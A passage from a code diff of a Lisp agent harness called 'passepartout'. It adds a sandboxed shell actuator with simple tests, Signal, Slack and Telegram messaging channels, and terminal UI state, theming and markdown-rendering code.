(let* ((payload (getf action :payload))
|
||||
(cmd (getf payload :cmd))
|
||||
(timeout-sym (find-symbol "*DISPATCHER-SHELL-TIMEOUT*" :passepartout))
|
||||
(timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30)))
|
||||
(max-sym (find-symbol "*DISPATCHER-SHELL-MAX-OUTPUT*" :passepartout))
|
||||
(max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000)))
|
||||
(memex-dir (or (uiop:getenv "MEMEX_DIR") (namestring (merge-pathnames "memex/" (user-homedir-pathname))))))
|
||||
(log-message "ACT [Shell]: ~a (timeout: ~as)~@[ bwrap: enabled~]" cmd timeout (and *bwrap-available* " (bwrap)"))
|
||||
(let ((cmdline (if *bwrap-available*
|
||||
(bwrap-wrap-command cmd timeout memex-dir)
|
||||
(list "timeout" (format nil "~a" timeout) "bash" "-c" cmd))))
|
||||
(multiple-value-bind (out err code)
|
||||
(uiop:run-program cmdline
|
||||
:output :string :error-output :string
|
||||
:ignore-error-status t)
|
||||
(cond
|
||||
((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout))
|
||||
((> (length out) max-output)
|
||||
(format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output))
|
||||
((= code 0) out)
|
||||
(t (format nil "ERROR [~a]: ~a" code err)))))))
|
||||
|
||||
(register-actuator :shell #'actuator-shell-execute)
|
||||
|
||||
(defskill :passepartout-channel-shell
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-shell-actuator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:shell-actuator-suite))
|
||||
|
||||
(in-package :passepartout-shell-actuator-tests)
|
||||
|
||||
(def-suite shell-actuator-suite :description "Verification of the Shell Actuator")
|
||||
(in-suite shell-actuator-suite)
|
||||
|
||||
(test test-bwrap-wrap-command
|
||||
"Contract 2: bwrap-wrap-command returns properly formatted command list."
|
||||
(let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex")))
|
||||
(is (member "bwrap" cmdline :test #'string=))
|
||||
(is (member "--unshare-net" cmdline :test #'string=))
|
||||
(is (member "--unshare-ipc" cmdline :test #'string=))
|
||||
(is (member "echo hello" cmdline :test #'string=))))
|
||||
|
||||
(test test-bwrap-available-p-returns-boolean
|
||||
"Contract 1: bwrap-available-p returns T or NIL."
|
||||
(let ((avail (passepartout::bwrap-available-p)))
|
||||
(is (typep avail 'boolean))))
|
||||
|
||||
(test test-actuator-shell-execute-echo
|
||||
"Contract 3: actuator-shell-execute runs echo and returns output."
|
||||
(let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello")))
|
||||
(result (passepartout::actuator-shell-execute action nil)))
|
||||
(is (stringp result))
|
||||
(is (search "hello" result :test #'char-equal))))
|
||||
41
lisp/channel-signal.lisp
Normal file
41
lisp/channel-signal.lisp
Normal file
@@ -0,0 +1,41 @@
|
||||
(in-package :passepartout)
|
||||
(defun signal-get-account ()
|
||||
(vault-get-secret :signal))
|
||||
|
||||
(defun signal-poll ()
|
||||
"Polls Signal for new messages and injects them into the harness."
|
||||
(let ((account (signal-get-account)))
|
||||
(when account
|
||||
(handler-case
|
||||
(let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
|
||||
:output :string :error-output :string :ignore-error-status t))
|
||||
(lines (cl-ppcre:split "\\\\n" output)))
|
||||
(dolist (line lines)
|
||||
(when (and line (> (length line) 0))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
|
||||
(envelope (cdr (assoc :envelope json)))
|
||||
(source (cdr (assoc :source envelope)))
|
||||
(data-message (cdr (assoc :data-message envelope)))
|
||||
(text (cdr (assoc :message data-message))))
|
||||
(when (and source text)
|
||||
(log-message "SIGNAL: Received message from ~a" source)
|
||||
(unless (ignore-errors (hitl-handle-message text :signal))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text)))))))))
|
||||
(error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
|
||||
|
||||
(defun signal-send (action context)
|
||||
"Sends a message via Signal."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(account (signal-get-account)))
|
||||
(when (and account chat-id text)
|
||||
(handler-case
|
||||
(uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
|
||||
:output :string :error-output :string)
|
||||
(error (c) (log-message "SIGNAL ERROR: ~a" c))))))
|
||||
45
lisp/channel-slack.lisp
Normal file
45
lisp/channel-slack.lisp
Normal file
@@ -0,0 +1,45 @@
|
||||
(in-package :passepartout)
|
||||
(defun slack-get-token ()
|
||||
(vault-get-secret :slack))
|
||||
|
||||
(defun slack-send (action context)
|
||||
"Sends a message via Slack Web API."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(channel (or (getf meta :channel-id) (getf payload :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (slack-get-token)))
|
||||
(when (and token channel text)
|
||||
(handler-case
|
||||
(dex:post "https://slack.com/api/chat.postMessage"
|
||||
:headers `(("Authorization" . ,(format nil "Bearer ~a" token))
|
||||
("Content-Type" . "application/json; charset=utf-8"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((channel . ,channel) (text . ,text))))
|
||||
(error (c) (log-message "SLACK ERROR: ~a" c))))))
|
||||
|
||||
(defun slack-poll ()
|
||||
"Polls Slack for new messages via conversations.history."
|
||||
(let* ((token (slack-get-token)))
|
||||
(when token
|
||||
(dolist (channel '("general")) ;; configured channel IDs
|
||||
(handler-case
|
||||
(let* ((url (format nil "https://slack.com/api/conversations.history?channel=~a&limit=5" channel))
|
||||
(response (dex:get url :headers
|
||||
`(("Authorization" . ,(format nil "Bearer ~a" token))))))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string response)))
|
||||
(ok (cdr (assoc :ok json)))
|
||||
(messages (cdr (assoc :messages json))))
|
||||
(when (and ok messages (listp messages))
|
||||
(dolist (msg messages)
|
||||
(let* ((text (cdr (assoc :text msg)))
|
||||
(user (cdr (assoc :user msg)))
|
||||
(ts (cdr (assoc :ts msg))))
|
||||
(when (and text user (not (string= user "USLACKBOT")))
|
||||
(unless (ignore-errors (hitl-handle-message text :slack))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :slack :chat-id channel)
|
||||
:payload (list :sensor :user-input :text text))))))))))
|
||||
(error (c) (log-message "SLACK POLL ERROR: ~a" c)))))))
|
||||
47
lisp/channel-telegram.lisp
Normal file
47
lisp/channel-telegram.lisp
Normal file
@@ -0,0 +1,47 @@
|
||||
(in-package :passepartout)
|
||||
(defun telegram-get-token ()
|
||||
(vault-get-secret :telegram))
|
||||
|
||||
(defun telegram-poll ()
|
||||
"Polls Telegram for new messages and injects them into the harness."
|
||||
(let* ((token (telegram-get-token)))
|
||||
(when token
|
||||
(let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0))
|
||||
(url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a"
|
||||
token (1+ last-id))))
|
||||
(handler-case
|
||||
(let* ((response (dex:get url))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(updates (cdr (assoc :result json))))
|
||||
(dolist (update updates)
|
||||
(let* ((update-id (cdr (assoc :update--id update)))
|
||||
(message (cdr (assoc :message update)))
|
||||
(chat (cdr (assoc :chat message)))
|
||||
(chat-id (cdr (assoc :id chat)))
|
||||
(text (cdr (assoc :text message))))
|
||||
(setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
|
||||
(when (and text chat-id)
|
||||
(log-message "TELEGRAM: Received message from ~a" chat-id)
|
||||
(unless (ignore-errors (hitl-handle-message text :telegram))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
|
||||
|
||||
(defun telegram-send (action context)
|
||||
"Sends a message via Telegram."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (telegram-get-token)))
|
||||
(when (and token chat-id text)
|
||||
(handler-case
|
||||
(let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
|
||||
(dex:post url
|
||||
:headers '(("Content-Type" . "application/json"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((chat_id . ,chat-id) (text . ,text)))))
|
||||
(error (c) (log-message "TELEGRAM ERROR: ~a" c))))))
|
||||
1325
lisp/channel-tui-main.lisp
Normal file
1325
lisp/channel-tui-main.lisp
Normal file
File diff suppressed because it is too large
Load Diff
174
lisp/channel-tui-state.lisp
Normal file
174
lisp/channel-tui-state.lisp
Normal file
@@ -0,0 +1,174 @@
|
||||
(defpackage :passepartout.channel-tui
|
||||
(:use :cl :passepartout :usocket :bordeaux-threads)
|
||||
(:export :tui-main :st :add-msg :now :input-string
|
||||
:queue-event :drain-queue :init-state
|
||||
:view-status :view-chat :view-input :redraw
|
||||
:on-key :on-daemon-msg :send-daemon
|
||||
:connect-daemon :disconnect-daemon
|
||||
:*tui-theme* :theme-color))
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defvar *state* nil)
|
||||
(defvar *event-queue* nil)
|
||||
(defvar *event-lock* (bt:make-lock "tui-event-lock"))
|
||||
|
||||
(defvar *tui-theme*
|
||||
;; Roles
|
||||
'(:user :green :agent :white :system :yellow
|
||||
;; Content
|
||||
:input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
|
||||
;; Status
|
||||
:connected :green :disconnected :red :busy :magenta :idle :white
|
||||
;; Gate trace
|
||||
:gate-passed :green :gate-blocked :red :gate-approval :yellow
|
||||
:hitl :magenta
|
||||
;; Tools (future use)
|
||||
:tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
|
||||
;; Display
|
||||
:scroll-indicator :cyan :border :white :background :black
|
||||
;; Differentiator (v0.4.0)
|
||||
:rule-count :cyan :focus-map :yellow
|
||||
;; UI
|
||||
:dim :white :highlight :cyan :accent :green)
|
||||
"Color theme plist. 27 semantic keys → hex color strings.
|
||||
See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
|
||||
|
||||
(defvar *tui-theme-presets*
|
||||
'(:dark (:user :green :agent :white :system :yellow
|
||||
:input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
|
||||
:connected :green :disconnected :red :busy :magenta :idle :white
|
||||
:gate-passed :green :gate-blocked :red :gate-approval :yellow
|
||||
:tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
|
||||
:scroll-indicator :cyan :border :white :background :black
|
||||
:rule-count :cyan :focus-map :yellow
|
||||
:dim :white :highlight :cyan :accent :green)
|
||||
:light (:user :blue :agent :black :system :red
|
||||
:input :black :timestamp :yellow :help :blue :error :red :warning :yellow
|
||||
:connected :green :disconnected :red :busy :magenta :idle :black
|
||||
:gate-passed :green :gate-blocked :red :gate-approval :yellow
|
||||
:tool-running :magenta :tool-success :green :tool-failure :red :tool-output :black
|
||||
:scroll-indicator :blue :border :black :background :white
|
||||
:rule-count :blue :focus-map :red
|
||||
:dim :white :highlight :blue :accent :green)
|
||||
:gruvbox (:user "#458588" :agent "#ebdbb2" :system "#fabd2f"
|
||||
:input "#ebdbb2" :timestamp "#928374" :help "#83a598" :error "#fb4934" :warning "#fabd2f"
|
||||
:connected "#b8bb26" :disconnected "#fb4934" :busy "#d3869b" :idle "#a89984"
|
||||
:gate-passed "#b8bb26" :gate-blocked "#fb4934" :gate-approval "#fabd2f"
|
||||
:tool-running "#d3869b" :tool-success "#b8bb26" :tool-failure "#fb4934" :tool-output "#ebdbb2"
|
||||
:scroll-indicator "#83a598" :border "#a89984" :background "#282828"
|
||||
:rule-count "#83a598" :focus-map "#fabd2f"
|
||||
:dim "#928374" :highlight "#83a598" :accent "#b8bb26")
|
||||
:solarized (:user "#268bd2" :agent "#839496" :system "#b58900"
|
||||
:input "#839496" :timestamp "#93a1a1" :help "#2aa198" :error "#dc322f" :warning "#b58900"
|
||||
:connected "#859900" :disconnected "#dc322f" :busy "#d33682" :idle "#657b83"
|
||||
:gate-passed "#859900" :gate-blocked "#dc322f" :gate-approval "#b58900"
|
||||
:tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
|
||||
:scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
|
||||
:rule-count "#2aa198" :focus-map "#b58900"
|
||||
:dim "#586e75" :highlight "#2aa198" :accent "#859900"))
|
||||
"Named theme presets. /theme <name> loads one into *tui-theme*.")
|
||||
|
||||
(defvar *tui-theme-current-name* :dark
|
||||
"Name of the currently active theme preset.")
|
||||
|
||||
(defun theme-save ()
|
||||
"Persist current theme to disk."
|
||||
(let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
|
||||
(user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list path))
|
||||
(with-open-file (out path :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(format out ";; Passepartout TUI theme — auto-generated~%")
|
||||
(format out "(setf passepartout.channel-tui::*tui-theme* '~s)~%" *tui-theme*)
|
||||
(format out "(setf passepartout.channel-tui::*tui-theme-current-name* ~s)~%" *tui-theme-current-name*))
|
||||
t))
|
||||
|
||||
(defun theme-load ()
|
||||
"Load persisted theme from disk. Called at startup."
|
||||
(let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
|
||||
(user-homedir-pathname))))
|
||||
(when (uiop:file-exists-p path)
|
||||
(ignore-errors (load path)))))
|
||||
|
||||
(defun theme-switch (name)
|
||||
"Switch to a named theme preset. Returns the preset name or nil if not found."
|
||||
(let* ((key (intern (string-upcase (string name)) :keyword))
|
||||
(preset (getf *tui-theme-presets* key)))
|
||||
(when preset
|
||||
(setf *tui-theme* (copy-list preset)
|
||||
*tui-theme-current-name* key)
|
||||
(theme-save)
|
||||
(setf (st :dirty) (list t t t))
|
||||
key)))
|
||||
|
||||
(defun theme-color (role)
|
||||
"Returns a hex color string for a semantic role, suitable for cl-tty."
|
||||
(let ((val (or (getf *tui-theme* role) :white)))
|
||||
(cond
|
||||
((stringp val) val)
|
||||
(t (case val
|
||||
(:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF")
|
||||
(:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF")
|
||||
(:white "#FFFFFF") (:black "#000000")
|
||||
(t "#FFFFFF"))))))
|
||||
|
||||
(defun st (key) (getf *state* key))
|
||||
(defun (setf st) (val key) (setf (getf *state* key) val))
|
||||
|
||||
(defun init-state ()
|
||||
(setf *state*
|
||||
(list :running t :mode :chat :connected nil :stream nil
|
||||
:input-buffer nil :input-history nil :input-hpos 0
|
||||
:messages (make-array 16 :adjustable t :fill-pointer 0)
|
||||
:scroll-offset 0 :busy nil :cursor-pos 0
|
||||
:pending-ctrl-x nil
|
||||
:scroll-at-bottom t :scroll-notify nil
|
||||
:streaming-text nil :url-buffer nil ; v0.7.1
|
||||
:collapsed-gates nil ; v0.7.2
|
||||
:search-mode nil :search-query "" ; v0.7.2
|
||||
:search-matches nil :search-match-idx 0
|
||||
:sidebar-visible nil ; v0.8.0
|
||||
:expand-tool-calls nil ; v0.8.0
|
||||
:mcp-count 0 ; v0.8.0
|
||||
:dirty (list nil nil nil))))
|
||||
|
||||
(defun now ()
|
||||
(multiple-value-bind (s m h) (get-decoded-time)
|
||||
(declare (ignore s))
|
||||
(format nil "~2,'0d:~2,'0d" h m)))
|
||||
|
||||
(defun input-string ()
|
||||
(coerce (reverse (st :input-buffer)) 'string))
|
||||
|
||||
(defun input-insert-char (ch)
|
||||
"Insert character at cursor position into the input buffer."
|
||||
(let* ((buf (st :input-buffer))
|
||||
(pos (or (st :cursor-pos) 0))
|
||||
(s (coerce (reverse buf) 'string))
|
||||
(new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos))))
|
||||
(setf (st :input-buffer) (reverse (coerce new 'list)))
|
||||
(setf (st :cursor-pos) (1+ pos))))
|
||||
|
||||
(defun input-delete-char ()
|
||||
"Delete character before cursor position (standard backspace)."
|
||||
(let* ((buf (st :input-buffer))
|
||||
(pos (or (st :cursor-pos) 0)))
|
||||
(when (and buf (> pos 0))
|
||||
(let* ((s (coerce (reverse buf) 'string))
|
||||
(new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos))))
|
||||
(setf (st :input-buffer) (reverse (coerce new 'list)))
|
||||
(setf (st :cursor-pos) (1- pos))))))
|
||||
|
||||
(defun add-msg (role content &key gate-trace panel)
|
||||
(vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
|
||||
;; v0.7.0: notify when scrolled up and new msg arrives
|
||||
(unless (st :scroll-at-bottom)
|
||||
(setf (st :scroll-notify) t))
|
||||
(setf (st :dirty) (list t t nil)))
|
||||
|
||||
(defun queue-event (ev)
|
||||
(bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
|
||||
|
||||
(defun drain-queue ()
|
||||
(bt:with-lock-held (*event-lock*)
|
||||
(let ((evs (nreverse *event-queue*)))
|
||||
(setf *event-queue* nil) evs)))
|
||||
430
lisp/channel-tui-view.lisp
Normal file
430
lisp/channel-tui-view.lisp
Normal file
@@ -0,0 +1,430 @@
|
||||
(in-package :passepartout.channel-tui)
|
||||
|
||||
(defun word-wrap (text width)
|
||||
"Wrap TEXT to at most WIDTH columns. Splits on word boundaries.
|
||||
Returns a list of strings, one per line."
|
||||
(let ((lines nil))
|
||||
(loop while (> (length text) width)
|
||||
do (let ((break (or (position #\Space text :end width :from-end t)
|
||||
width)))
|
||||
(push (subseq text 0 break) lines)
|
||||
(setf text (string-left-trim '(#\Space)
|
||||
(subseq text break)))))
|
||||
(push text lines)
|
||||
(nreverse lines)))
|
||||
|
||||
(defun view-status (fb w)
|
||||
(let* ((degraded (and (find-package :passepartout)
|
||||
(boundp (find-symbol "*SYSTEM-HEALTH*" :passepartout))
|
||||
(member (symbol-value (find-symbol "*SYSTEM-HEALTH*" :passepartout))
|
||||
'(:degraded :unhealthy))))
|
||||
(bg (if degraded :bright-yellow nil)))
|
||||
;; Line 1: Connection, mode, msgs, scroll, rules, streaming/busy
|
||||
(cl-tty.backend:draw-text fb 1 1
|
||||
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a Rules:~a~a"
|
||||
(if (st :connected) "● Connected" "○ Disconnected")
|
||||
(string-upcase (string (st :mode)))
|
||||
(length (st :messages))
|
||||
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
|
||||
(or (st :rule-count) 0)
|
||||
(if (st :streaming-text) " [streaming]"
|
||||
(if (st :busy) " …thinking" "")))
|
||||
(theme-color (if (st :connected) :connected :disconnected)) bg)
|
||||
;; Line 2: Focus + Timestamp
|
||||
(let ((focus-info (or (st :foveal-id) "")))
|
||||
(when (and focus-info (> (length focus-info) 0))
|
||||
(cl-tty.backend:draw-text fb 1 2 (format nil " [Focus: ~a]" focus-info)
|
||||
(theme-color :timestamp) bg)))
|
||||
(cl-tty.backend:draw-text fb (max 1 (- w 12)) 2 (format nil " ~a" (now))
|
||||
(theme-color :timestamp) bg)
|
||||
;; Line 3: Directory, LSP, MCP, commands hint (v0.8.0)
|
||||
(let* ((cwd (or (uiop:getenv "PWD") (uiop:getcwd)))
|
||||
(dir (subseq cwd (max 0 (- (length cwd) (- w 45)))))
|
||||
(lsp-color (if (st :connected) :green :dim))
|
||||
(mcp-count (or (st :mcp-count) 0))
|
||||
(hint " Ctrl+P: commands /help: help"))
|
||||
(cl-tty.backend:draw-text fb 1 3 (format nil " ~a" dir) (theme-color :dim) bg)
|
||||
(cl-tty.backend:draw-text fb (+ 2 (length dir)) 3 "●" (theme-color lsp-color) bg)
|
||||
(cl-tty.backend:draw-text fb (+ 5 (length dir)) 3 (format nil " MCP:~d" mcp-count)
|
||||
(theme-color :dim) bg)
|
||||
(cl-tty.backend:draw-text fb (- w (length hint) 2) 3 hint (theme-color :timestamp) bg))))
|
||||
|
||||
;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
|
||||
(defun search-highlight (content query)
|
||||
"Wrap occurrences of QUERY in CONTENT with **bold** markers."
|
||||
(let ((lower-content (string-downcase content))
|
||||
(lower-query (string-downcase query))
|
||||
(result "") (pos 0))
|
||||
(when (and query (> (length query) 0))
|
||||
(loop
|
||||
(let ((found (search lower-query lower-content :start2 pos)))
|
||||
(unless found (return))
|
||||
(setf result (concatenate 'string result
|
||||
(subseq content pos found)
|
||||
"**" (subseq content found (+ found (length query))) "**"))
|
||||
(setf pos (+ found (length query)))))
|
||||
(setf result (concatenate 'string result (subseq content pos)))
|
||||
(if (string= result "") content result))))
|
||||
|
||||
(defun view-chat (fb w h)
|
||||
(let* ((msgs (st :messages))
|
||||
(total (length msgs))
|
||||
(max-lines (- h 2))
|
||||
(is-search (st :search-mode))
|
||||
(y 1))
|
||||
;; v0.7.2: search mode header
|
||||
(when is-search
|
||||
(let* ((matches (st :search-matches))
|
||||
(idx (st :search-match-idx))
|
||||
(query (st :search-query))
|
||||
(header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
|
||||
(length matches) query (1+ idx) (length matches))))
|
||||
(cl-tty.backend:draw-text fb 1 y header (theme-color :highlight) nil)
|
||||
(incf y)
|
||||
(decf max-lines)))
|
||||
;; Count visible messages from end, accounting for word wrap
|
||||
(let* ((msg-count 0)
|
||||
(lines-remaining max-lines))
|
||||
(loop for i from (1- total) downto 0
|
||||
while (> lines-remaining 0)
|
||||
do (let* ((msg (aref msgs i))
|
||||
(role (getf msg :role))
|
||||
(content (getf msg :content))
|
||||
(time (or (getf msg :time) ""))
|
||||
(prefix (case role (:user "⬆") (:agent "⬇") (t " ")))
|
||||
(content-show (if is-search
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (word-wrap line-text (- w 2)))
|
||||
(nlines (length wrapped)))
|
||||
(if (<= nlines lines-remaining)
|
||||
(progn (decf lines-remaining nlines) (incf msg-count))
|
||||
(setf lines-remaining 0))))
|
||||
;; Render from the correct starting message
|
||||
(let* ((scroll-skip (st :scroll-offset))
|
||||
(start (max 0 (- total msg-count scroll-skip))))
|
||||
(loop for i from start below total
|
||||
while (< y (1- h))
|
||||
do (let* ((msg (aref msgs i))
|
||||
(role (getf msg :role))
|
||||
(content (getf msg :content))
|
||||
(time (or (getf msg :time) ""))
|
||||
(color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
|
||||
(prefix (case role (:user "⬆") (:agent "⬇") (t " ")))
|
||||
(is-panel (getf msg :panel))
|
||||
(is-resolved (getf msg :panel-resolved))
|
||||
(content-show (if is-search
|
||||
(search-highlight content (st :search-query))
|
||||
content))
|
||||
(line-text (format nil "~a [~a] ~a" prefix time content-show))
|
||||
(wrapped (word-wrap line-text (- w 2))))
|
||||
;; HITL panel: render with colored border
|
||||
(when is-panel
|
||||
(setf color (if is-resolved
|
||||
(theme-color :dim)
|
||||
(theme-color :hitl))))
|
||||
(dolist (line wrapped)
|
||||
(when (< y (1- h))
|
||||
(cl-tty.backend:draw-text fb 1 y line color nil)
|
||||
(incf y)))
|
||||
;; v0.7.2: gate trace below agent messages
|
||||
(let ((gate-trace (getf msg :gate-trace)))
|
||||
(when (and gate-trace (not (member i (st :collapsed-gates))))
|
||||
(dolist (entry (passepartout::gate-trace-lines gate-trace))
|
||||
(when (< y (1- h))
|
||||
(cl-tty.backend:draw-text fb 3 y (car entry)
|
||||
(or (getf (cdr entry) :fgcolor) :dim) nil)
|
||||
(incf y)))))))))))
|
||||
|
||||
(defun view-input (fb w)
|
||||
(let* ((text (input-string))
|
||||
(pos (or (st :cursor-pos) 0))
|
||||
(display-start (max 0 (- pos (1- w))))
|
||||
(visible (subseq text display-start (min (length text) (+ display-start w)))))
|
||||
(cl-tty.backend:draw-text fb 0 0 (format nil "~a " visible) (theme-color :input) nil)))
|
||||
|
||||
(defun redraw (fb w h)
|
||||
(destructuring-bind (sd cd id) (st :dirty)
|
||||
(when sd (view-status fb w))
|
||||
(when cd (view-chat fb w (- h 5)))
|
||||
(when id (view-input fb w))
|
||||
(setf (st :dirty) (list nil nil nil))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun char-width (ch)
|
||||
"Returns the terminal column width of character CH.
|
||||
ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
|
||||
(let ((code (char-code ch)))
|
||||
(cond
|
||||
((= code 9) 8)
|
||||
((< code 32) 0)
|
||||
((<= code 127) 1)
|
||||
((<= #x4E00 code #x9FFF) 2)
|
||||
((<= #x3400 code #x4DBF) 2)
|
||||
((<= #x3040 code #x309F) 2)
|
||||
((<= #x30A0 code #x30FF) 2)
|
||||
((<= #xAC00 code #xD7AF) 2)
|
||||
((<= #xFF01 code #xFF60) 2)
|
||||
((<= #xFFE0 code #xFFE6) 2)
|
||||
((<= #x1F300 code #x1F9FF) 2)
|
||||
((<= #x2600 code #x27BF) 2)
|
||||
((<= #x0300 code #x036F) 0)
|
||||
((<= #x20D0 code #x20FF) 0)
|
||||
((<= #xFE00 code #xFE0F) 0)
|
||||
(t 1))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun parse-markdown-spans (text)
|
||||
"Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
|
||||
(let ((results nil) (pos 0) (len (length text)))
|
||||
(labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b))))
|
||||
(loop
|
||||
(when (>= pos len) (return))
|
||||
(let* ((bold (search "**" text :start2 pos))
|
||||
(code (search "`" text :start2 pos))
|
||||
(italic (search "*" text :start2 pos))
|
||||
(http (search "http://" text :start2 pos))
|
||||
(https (search "https://" text :start2 pos))
|
||||
(url-s (or https http)))
|
||||
(flet ((pick (tag delim)
|
||||
(let ((end (search delim text :start2 (+ pos (length delim)))))
|
||||
(when end
|
||||
(push (cons (subseq text (+ pos (length delim)) end)
|
||||
(case tag (:bold '(:bold t))
|
||||
(:code '(:code t :bgcolor :dim))
|
||||
(:underline '(:underline t))
|
||||
(:url '(:url t))))
|
||||
results)
|
||||
(setf pos (+ end (length delim)))
|
||||
t)))
|
||||
(url-end (start)
|
||||
(or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
|
||||
text :start start)
|
||||
len)))
|
||||
(let ((next (earliest (earliest (earliest bold code) italic) url-s)))
|
||||
(cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2)))
|
||||
((and code (eql code next)) (unless (pick :code "`") (incf pos)))
|
||||
((and italic (eql italic next)) (unless (pick :underline "*") (incf pos)))
|
||||
((and url-s (eql url-s next))
|
||||
(let ((ue (url-end url-s)))
|
||||
(push (cons (subseq text url-s ue) '(:url t)) results)
|
||||
(setf pos ue)))
|
||||
(t (push (cons (subseq text pos) nil) results) (return))))))))
|
||||
(nreverse results)))
|
||||
|
||||
(defun render-styled (fb segments y x w)
|
||||
"Render markdown segments to cl-tty backend. Returns next y."
|
||||
(dolist (seg segments)
|
||||
(let* ((text (or (car seg) ""))
|
||||
(attrs (cdr seg))
|
||||
(bold (getf attrs :bold))
|
||||
(code (getf attrs :code))
|
||||
(url (getf attrs :url)))
|
||||
(declare (ignore code))
|
||||
(cl-tty.backend:draw-text fb x y text
|
||||
(cond (url (theme-color :highlight))
|
||||
(t (theme-color (or (getf attrs :role) :agent))))
|
||||
nil
|
||||
:bold bold)
|
||||
(incf x (length text))))
|
||||
y)
|
||||
|
||||
(defun parse-markdown-blocks (text)
|
||||
"Split text at ``` code block boundaries."
|
||||
(let ((r nil) (p 0) (l (length text)))
|
||||
(loop
|
||||
(when (>= p l) (return))
|
||||
(let ((bs (search "```" text :start2 p)))
|
||||
(unless bs
|
||||
(push (cons (subseq text p) nil) r)
|
||||
(return))
|
||||
(when (> bs p)
|
||||
(push (cons (subseq text p bs) nil) r))
|
||||
(let* ((ao (+ bs 3))
|
||||
(le (or (position #\Newline text :start ao) l))
|
||||
(lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) "")))
|
||||
(cs (if (< le l) (1+ le) l))
|
||||
(cp (search "```" text :start2 cs))
|
||||
(ce (or cp l))
|
||||
(content (string-trim "\r\n" (subseq text cs ce))))
|
||||
(push (list :code-block t :lang lang :content content) r)
|
||||
(setf p (if cp (+ cp 3) l)))))
|
||||
(nreverse r)))
|
||||
|
||||
(defun syntax-highlight (code lang)
|
||||
"Highlight Lisp code: strings, comments, keywords, function calls."
|
||||
(declare (ignore lang))
|
||||
(let* ((r nil) (p 0) (l (length code))
|
||||
(kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless"
|
||||
"cond" "loop" "dolist" "dotimes" "progn" "prog1" "return"
|
||||
"setf" "setq" "format" "and" "or" "not" "list" "cons"
|
||||
"quote" "function" "declare" "ignore" "t" "nil")))
|
||||
